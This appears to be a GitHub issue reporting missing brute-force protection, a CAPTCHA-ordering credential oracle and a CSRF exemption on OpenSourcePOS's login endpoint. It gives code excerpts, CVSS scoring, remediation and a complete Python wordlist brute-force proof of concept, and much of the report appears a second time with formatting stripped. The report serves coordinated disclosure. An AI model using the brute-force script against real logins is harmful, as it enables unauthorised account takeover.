🐛 Bug Description
Missing Brute-Force Protection with Ineffective CAPTCHA Ordering on the Authentication Endpoint
1. Vulnerability Name
OpenSourcePOS Login Endpoint — Missing Authentication Rate-Limiting / Account-Lockout, Compounded by Post-Password CAPTCHA Validation Ordering
2. Vulnerability Type
- Primary: CWE-307 — Improper Restriction of Excessive Authentication Attempts (no rate limiting, no account lockout, no IP throttling).
- Contributing: CWE-204 / CWE-303 — Observable Response Discrepancy and Incorrect Implementation of Authentication Algorithm. The Google reCAPTCHA check executes after password verification, so failed-password attempts never consume the CAPTCHA, and the distinct error responses (
invalid_username_and_password vs invalid_gcaptcha) form a credential-validity oracle.
3. Affected Product
- Product: Open Source Point of Sale (OpenSourcePOS / OSPOS)
- Vendor: opensourcepos
- Affected versions: All versions through 3.4.2 (current
master as of this writing). The authentication flow in app/Controllers/Login.php, app/Config/Validation/OSPOSRules.php, and app/Models/Employee.php contains no attempt counter, lockout, or throttling.
- Component: Authentication / Login subsystem.
4. CVSS 3.1
Base Score: 5.3 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
| Metric |
Value |
Rationale |
| Attack Vector (AV) |
Network (N) |
Login endpoint is remotely reachable over HTTP. |
| Attack Complexity (AC) |
Low (L) |
No special conditions; simple repeated POSTs. |
| Privileges Required (PR) |
None (N) |
Pre-authentication. |
| User Interaction (UI) |
None (N) |
Fully automatable. |
| Scope (S) |
Unchanged (U) |
Stays within the application. |
| Confidentiality (C) |
Low (L) |
Enables unthrottled credential guessing and a credential-validity oracle; full account compromise is conditional on password strength, hence Low rather than High. |
| Integrity (I) |
None (N) |
No direct data modification from the weakness itself. |
| Availability (A) |
None (N) |
No direct availability impact. |
Note: If a successful guess yields an authenticated administrator session (default configuration has CAPTCHA disabled), downstream impact can be higher, but the weakness itself is scored on the unthrottled-guessing / oracle primitive, which is configuration-independent.
5. Description
OpenSourcePOS authenticates users through the Login::index() controller action, which applies a single custom validation rule (login_check) to the submitted credentials. The application implements no protection against repeated failed authentication attempts: there is no failed-attempt counter, no temporary or permanent account lockout, and no per-IP or per-account rate limiting anywhere in the login path. An attacker can therefore submit an unlimited number of username/password combinations at machine speed.
The only optional mitigation is Google reCAPTCHA, which is disabled by default (the setting gcaptcha_enable is absent from the shipped default configuration and must be enabled manually in the database). In a default deployment the login endpoint has neither CAPTCHA nor rate limiting, and /login is additionally excluded from CSRF protection (app/Config/Filters.php: 'csrf' => ['except' => 'login|migrate']), so credential-guessing requests need no token.
Even when an administrator enables reCAPTCHA, the validation logic in OSPOSRules::login_check() verifies the password before the CAPTCHA. When the password is wrong, the function returns immediately and the CAPTCHA branch is never reached. Consequently:
- Wrong-password attempts never consume or require a valid CAPTCHA token, so the CAPTCHA does not throttle guessing.
- The server returns
invalid_username_and_password for a wrong password but invalid_gcaptcha once the password is correct (and a valid token is absent). This observable response discrepancy is a credential-validity oracle: an attacker can determine the correct password without solving the CAPTCHA, by watching which error is returned.
The net effect is that an attacker can enumerate valid credentials offline. With CAPTCHA disabled (default), a correct guess additionally grants an authenticated session directly (HTTP 302 redirect to /home).
6. Vulnerability SINK
File: app/Models/Employee.php — method login() (lines 275–294)
public function login(string $username, string $password): bool
{
$builder = $this->db->table('employees');
$query = $builder->getWhere(['username' => $username, 'deleted' => 0], 1);
if ($query->getNumRows() === 1) {
$row = $query->getRow();
if ($row->hash_version === '1' && $row->password === md5($password)) {
// ... (legacy hash upgrade path)
} elseif ($row->hash_version === '2' && password_verify($password, $row->password)) {
$this->session->set('person_id', $row->person_id);
return true;
}
}
return false; // <-- attacker-observable boolean: wrong vs right credential
}
This is the password-verification sink. It is invoked once per attacker-controlled request with no enclosing attempt counter, lockout, or throttle, and its boolean outcome (combined with the CAPTCHA ordering above it) is directly observable to the attacker.
7. Vulnerability SOURCE
File: app/Controllers/Login.php — method index() (lines 23–75)
The attacker-controlled username and password POST parameters enter here and flow into validation. There is no rate limit / lockout between requests.
$rules = ['username' => 'required|login_check[data]']; // line 59
// ...
if (!$this->validate($rules, $messages)) { // line 67
$data['has_errors'] = !empty($validation->getErrors());
return view('login', $data); // line 70 -> 200 (failure)
}
// ...
return redirect()->to('home'); // line 74 -> 302 (success)
The HTTP-level source is POST /login with body username=<user>&password=<guess> (no CSRF token required; /login is CSRF-exempt).
8. Call Stack
| # |
File |
Key code |
One-line description |
| 1 |
app/Config/Filters.php |
'csrf' => ['except' => 'login|migrate'] |
/login is excluded from CSRF protection, so unauthenticated credential-guessing POSTs require no token. |
| 2 |
app/Controllers/Login.php (L23, L48) |
public function index(): string|RedirectResponse { ... if ($this->request->getMethod() !== 'POST') { return view('login', $data); } |
Login entry point; attacker-controlled username/password arrive via POST /login. |
| 3 |
app/Controllers/Login.php (L59, L67) |
$rules = ['username' => 'required|login_check[data]']; ... if (!$this->validate($rules, $messages)) { |
Applies the single login_check rule; no failed-attempt counter, lockout, or throttle surrounds this call (CWE-307). |
| 4 |
app/Config/Validation/OSPOSRules.php (L~32) |
if (!$employee->login($username, $password)) { $error = lang('Login.invalid_username_and_password'); return false; } |
Password is checked first; on failure it returns immediately, so the CAPTCHA below is never executed. |
| 5 |
app/Models/Employee.php (L275) |
password_verify($password, $row->password) ... return true; ... return false; |
SINK — password verification; returns an attacker-observable boolean with no rate limiting. |
| 6 |
app/Config/Validation/OSPOSRules.php (L~38) |
if ($gcaptcha_enabled) { ... if (!$this->gcaptcha_check($g_recaptcha_response)) { $error = lang('Login.invalid_gcaptcha'); return false; } } |
CAPTCHA is validated only after a correct password — too late to throttle guessing; the distinct invalid_gcaptcha error reveals "password correct" (oracle, CWE-204). |
| 7 |
app/Controllers/Login.php (L70 / L74) |
return view('login', $data); (200, failure) vs return redirect()->to('home'); (302, success) |
Observable response discrepancy: 200 = failure, 302→/home = success (CAPTCHA-disabled default), confirming credential validity to the attacker. |
Flow summary:
POST /login (no CSRF) → Login::index() → validate('login_check') (no throttle/lockout — CWE-307) → OSPOSRules::login_check() (password checked before CAPTCHA — CWE-303) → Employee::login() (SINK) → distinct error / status response (oracle — CWE-204).
9. Proof of Concept (Python)
The PoC demonstrates two things, neither of which requires solving a CAPTCHA and neither of which requires a CSRF token:
- (A) Verification mode: N consecutive failed logins incur no lockout, delay, or CAPTCHA challenge (proves CWE-307).
- (B) Oracle/brute-force mode: the server response distinguishes a correct password from a wrong one —
302 → /home (CAPTCHA disabled) or the invalid_gcaptcha error (CAPTCHA enabled) — allowing credential enumeration without solving any CAPTCHA.
#!/usr/bin/env python3
"""
OSPOS authentication endpoint PoC:
- Demonstrates absence of brute-force protection (CWE-307)
- Demonstrates credential-validity oracle from CAPTCHA-after-password ordering (CWE-204)
Usage:
# (A) prove no rate limiting / lockout (does NOT need a valid account):
python3 ospos_login_poc.py -t http://TARGET:PORT -u admin --verify-only
# (B) enumerate the password from a wordlist:
python3 ospos_login_poc.py -t http://TARGET:PORT -u admin -p wordlist.txt
"""
import argparse
import sys
import time
import requests
from urllib.parse import urljoin
class OsposLoginPoC:
def __init__(self, target, username, timeout=15):
self.target = target.rstrip('/')
self.username = username
self.timeout = timeout
self.session = requests.Session()
self.login_url = urljoin(self.target + '/', 'login')
def attempt(self, password):
"""One login attempt. /login is CSRF-exempt, so no token is needed.
Returns a dict describing the server's response classification."""
try:
r = self.session.post(
self.login_url,
data={'username': self.username, 'password': password},
headers={
'User-Agent': 'Mozilla/5.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': self.login_url,
},
allow_redirects=False,
timeout=self.timeout,
)
except requests.RequestException as e:
return {'ok': False, 'error': str(e)}
body = (r.text or '').lower()
location = r.headers.get('Location', '')
# Success (CAPTCHA disabled default): 302 redirect to /home
success = (r.status_code in (301, 302) and 'home' in location.lower())
# Oracle signal (CAPTCHA enabled): correct password but missing token
captcha_required = 'invalid_gcaptcha' in body
wrong_password = 'invalid_username_and_password' in body
return {
'ok': True,
'status': r.status_code,
'location': location,
'success': success,
'captcha_required': captcha_required, # => password is CORRECT
'wrong_password': wrong_password, # => password is WRONG
}
def verify_no_lockout(self, tries=12, delay=0.0):
"""(A) Prove there is no lockout / throttling / CAPTCHA challenge
after many consecutive failures."""
print(f"[*] Verifying absence of brute-force protection on {self.login_url}")
blocked = False
for i in range(tries):
res = self.attempt(f"wrong_pw_{i}_{int(time.time())}")
if not res['ok']:
print(f" [{i+1}/{tries}] request error: {res['error']}")
continue
# A lockout/throttle would show up as 429, a delay, or a forced CAPTCHA
if res['status'] == 429:
print(f" [{i+1}/{tries}] HTTP 429 -> throttling present")
blocked = True
break
print(f" [{i+1}/{tries}] status={res['status']} "
f"wrong_password={res['wrong_password']} "
f"captcha_required={res['captcha_required']}")
if delay:
time.sleep(delay)
if not blocked:
print(f"[+] VULNERABLE (CWE-307): {tries} consecutive failures, "
f"no lockout / throttle / CAPTCHA challenge observed.")
return True
print("[-] Some throttling appears to be present.")
return False
def brute_force(self, passwords, delay=0.1):
"""(B) Enumerate the password. Works without solving a CAPTCHA:
- CAPTCHA disabled -> a correct password yields 302 /home (full login).
- CAPTCHA enabled -> a correct password flips the error to
'invalid_gcaptcha' (oracle), confirming validity without a token."""
print(f"[*] Trying {len(passwords)} candidate(s) for user '{self.username}'")
for idx, pw in enumerate(passwords, 1):
pw = pw.strip()
if not pw:
continue
res = self.attempt(pw)
if not res['ok']:
print(f" [{idx}] request error: {res['error']}")
continue
if res['success']:
print(f"\n[+] PASSWORD FOUND (authenticated session): "
f"{self.username}:{pw} -> 302 {res['location']}")
return pw
if res['captcha_required']:
print(f"\n[+] PASSWORD CONFIRMED via oracle (CAPTCHA enabled): "
f"{self.username}:{pw} (server returned invalid_gcaptcha)")
return pw
if idx % 10 == 0:
print(f" [{idx}] still wrong, continuing (no throttle)...")
if delay:
time.sleep(delay)
print("\n[-] No candidate matched.")
return None
def load_passwords(arg):
try:
with open(arg, 'r', encoding='utf-8') as f:
return [line.strip() for line in f if line.strip()]
except (FileNotFoundError, OSError):
return [p.strip() for p in arg.split(',') if p.strip()]
def main():
ap = argparse.ArgumentParser(description="OSPOS login brute-force / CAPTCHA-oracle PoC")
ap.add_argument('-t', '--target', required=True, help='http://host:port')
ap.add_argument('-u', '--username', default='admin')
ap.add_argument('-p', '--passwords', help='wordlist file or comma-separated list')
ap.add_argument('--verify-only', action='store_true',
help='only prove there is no lockout/throttle')
ap.add_argument('-d', '--delay', type=float, default=0.1)
args = ap.parse_args()
poc = OsposLoginPoC(args.target, args.username)
if args.verify_only or not args.passwords:
sys.exit(0 if poc.verify_no_lockout() else 1)
found = poc.brute_force(load_passwords(args.passwords), delay=args.delay)
sys.exit(0 if found else 1)
if __name__ == '__main__':
main()
10. Remediation
- Add brute-force protection (primary fix): implement a failed-attempt counter with temporary account and/or per-IP lockout and exponential back-off (e.g., CodeIgniter4
Throttler) around the login_check validation.
- Validate CAPTCHA before the password: when
gcaptcha_enable is true, verify the reCAPTCHA token first, so wrong-password attempts must still pass the CAPTCHA, and enable CAPTCHA by default.
- Return a uniform, opaque error: use the same generic "login failed" message and status for wrong-password and missing/invalid-CAPTCHA cases to remove the credential-validity oracle.
- Re-enable CSRF protection on
/login (remove login from the csrf except list) or enforce Origin/SameSite checks.
11. Disclosure Status
At the time of writing, no CVE or GitHub Security Advisory (GHSA) was found for this specific weakness. The 10 existing OSPOS CVEs cover XSS, SQL injection, LFI, path traversal, and weak login hashing (CVE-2026-8803) — none addresses missing authentication rate-limiting / lockout or the CAPTCHA-ordering oracle. This report is intended for coordinated disclosure and CVE assignment.
Verified against opensourcepos master branch source: app/Controllers/Login.php, app/Config/Validation/OSPOSRules.php, app/Models/Employee.php, app/Config/Filters.php, app/Config/OSPOS.php.
📋 Steps to Reproduce
Check the Bug Description
✅ Expected Behavior
Check the Bug Description
📦 OpenSourcePOS Version
development (unreleased)
🔧 PHP Version
PHP 8.4
🌐 Browser(s)
No response
🖥️ Server Operating System
Linux
🗄️ Database
Mysql
🌍 Web Server
Nginx
📊 System Information Report
Check the Bug Description
📜 Relevant Log Output
📸 Screenshots
No response
✓ Confirmation
🐛 Bug Description
Missing Brute-Force Protection with Ineffective CAPTCHA Ordering on the Authentication Endpoint
1. Vulnerability Name
OpenSourcePOS Login Endpoint — Missing Authentication Rate-Limiting / Account-Lockout, Compounded by Post-Password CAPTCHA Validation Ordering
2. Vulnerability Type
invalid_username_and_passwordvsinvalid_gcaptcha) form a credential-validity oracle.3. Affected Product
masteras of this writing). The authentication flow inapp/Controllers/Login.php,app/Config/Validation/OSPOSRules.php, andapp/Models/Employee.phpcontains no attempt counter, lockout, or throttling.4. CVSS 3.1
Base Score: 5.3 (Medium)
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N5. Description
OpenSourcePOS authenticates users through the
Login::index()controller action, which applies a single custom validation rule (login_check) to the submitted credentials. The application implements no protection against repeated failed authentication attempts: there is no failed-attempt counter, no temporary or permanent account lockout, and no per-IP or per-account rate limiting anywhere in the login path. An attacker can therefore submit an unlimited number of username/password combinations at machine speed.The only optional mitigation is Google reCAPTCHA, which is disabled by default (the setting
gcaptcha_enableis absent from the shipped default configuration and must be enabled manually in the database). In a default deployment the login endpoint has neither CAPTCHA nor rate limiting, and/loginis additionally excluded from CSRF protection (app/Config/Filters.php:'csrf' => ['except' => 'login|migrate']), so credential-guessing requests need no token.Even when an administrator enables reCAPTCHA, the validation logic in
OSPOSRules::login_check()verifies the password before the CAPTCHA. When the password is wrong, the function returns immediately and the CAPTCHA branch is never reached. Consequently:invalid_username_and_passwordfor a wrong password butinvalid_gcaptchaonce the password is correct (and a valid token is absent). This observable response discrepancy is a credential-validity oracle: an attacker can determine the correct password without solving the CAPTCHA, by watching which error is returned.The net effect is that an attacker can enumerate valid credentials offline. With CAPTCHA disabled (default), a correct guess additionally grants an authenticated session directly (HTTP 302 redirect to
/home).6. Vulnerability SINK
File:
app/Models/Employee.php— methodlogin()(lines 275–294)This is the password-verification sink. It is invoked once per attacker-controlled request with no enclosing attempt counter, lockout, or throttle, and its boolean outcome (combined with the CAPTCHA ordering above it) is directly observable to the attacker.
7. Vulnerability SOURCE
File:
app/Controllers/Login.php— methodindex()(lines 23–75)The attacker-controlled
usernameandpasswordPOST parameters enter here and flow into validation. There is no rate limit / lockout between requests.The HTTP-level source is
POST /loginwith bodyusername=<user>&password=<guess>(no CSRF token required;/loginis CSRF-exempt).8. Call Stack
app/Config/Filters.php'csrf' => ['except' => 'login|migrate']/loginis excluded from CSRF protection, so unauthenticated credential-guessing POSTs require no token.app/Controllers/Login.php(L23, L48)public function index(): string|RedirectResponse { ... if ($this->request->getMethod() !== 'POST') { return view('login', $data); }username/passwordarrive viaPOST /login.app/Controllers/Login.php(L59, L67)$rules = ['username' => 'required|login_check[data]']; ... if (!$this->validate($rules, $messages)) {login_checkrule; no failed-attempt counter, lockout, or throttle surrounds this call (CWE-307).app/Config/Validation/OSPOSRules.php(L~32)if (!$employee->login($username, $password)) { $error = lang('Login.invalid_username_and_password'); return false; }app/Models/Employee.php(L275)password_verify($password, $row->password) ... return true; ... return false;app/Config/Validation/OSPOSRules.php(L~38)if ($gcaptcha_enabled) { ... if (!$this->gcaptcha_check($g_recaptcha_response)) { $error = lang('Login.invalid_gcaptcha'); return false; } }invalid_gcaptchaerror reveals "password correct" (oracle, CWE-204).app/Controllers/Login.php(L70 / L74)return view('login', $data);(200, failure) vsreturn redirect()->to('home');(302, success)/home= success (CAPTCHA-disabled default), confirming credential validity to the attacker.Flow summary:
POST /login (no CSRF)→Login::index()→validate('login_check')(no throttle/lockout — CWE-307) →OSPOSRules::login_check()(password checked before CAPTCHA — CWE-303) →Employee::login()(SINK) → distinct error / status response (oracle — CWE-204).9. Proof of Concept (Python)
The PoC demonstrates two things, neither of which requires solving a CAPTCHA and neither of which requires a CSRF token:
302 → /home(CAPTCHA disabled) or theinvalid_gcaptchaerror (CAPTCHA enabled) — allowing credential enumeration without solving any CAPTCHA.10. Remediation
Throttler) around thelogin_checkvalidation.gcaptcha_enableis true, verify the reCAPTCHA token first, so wrong-password attempts must still pass the CAPTCHA, and enable CAPTCHA by default./login(removeloginfrom thecsrfexceptlist) or enforce Origin/SameSite checks.11. Disclosure Status
At the time of writing, no CVE or GitHub Security Advisory (GHSA) was found for this specific weakness. The 10 existing OSPOS CVEs cover XSS, SQL injection, LFI, path traversal, and weak login hashing (CVE-2026-8803) — none addresses missing authentication rate-limiting / lockout or the CAPTCHA-ordering oracle. This report is intended for coordinated disclosure and CVE assignment.
Verified against opensourcepos
masterbranch source:app/Controllers/Login.php,app/Config/Validation/OSPOSRules.php,app/Models/Employee.php,app/Config/Filters.php,app/Config/OSPOS.php.📋 Steps to Reproduce
Check the Bug Description
✅ Expected Behavior
Check the Bug Description
📦 OpenSourcePOS Version
development (unreleased)
🔧 PHP Version
PHP 8.4
🌐 Browser(s)
No response
🖥️ Server Operating System
Linux
🗄️ Database
Mysql
🌍 Web Server
Nginx
📊 System Information Report
📜 Relevant Log Output
📸 Screenshots
No response
✓ Confirmation